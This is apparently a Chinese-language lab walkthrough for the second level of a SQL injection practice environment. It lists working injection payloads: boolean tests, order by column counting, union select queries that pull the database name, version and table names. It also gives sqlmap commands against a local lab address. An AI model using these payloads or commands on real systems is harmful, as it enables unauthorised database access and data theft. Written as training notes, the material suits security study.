第二关
我们发现当输入’或者“的时候界面均报错
当我们输入了 ?id=1 and 1=1 发现界面与原来一摸一样
、输入?id=2 and 1=2后虽然没有报错信息但是没有回显 所以目前我们假定他是一个字符型注入
加点以后报错说明是数字型。
?id = 1 order by 4 发现报错 所以我们使用 ?id=1 order by 3
发现可以
?id=-1 union select 1,2,3
当输入?id=-1 union select 1,database(),version()
会爆出数据库和版本号
通过?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'可以爆出security表中东
这里我要着重说一下 sqlmap的使用方法
他和win上的sqlmap使用方法是不同的
sqlmap -u 192.168.56.130/sql/Less-2/?id=1
sqlmap -u '192.168.56.130/sql/Less-2/?id=1' -dbs
注意 注意 记得输入 -D securty数据库时,两便一定要加入'引号,然后最后一定要加入dump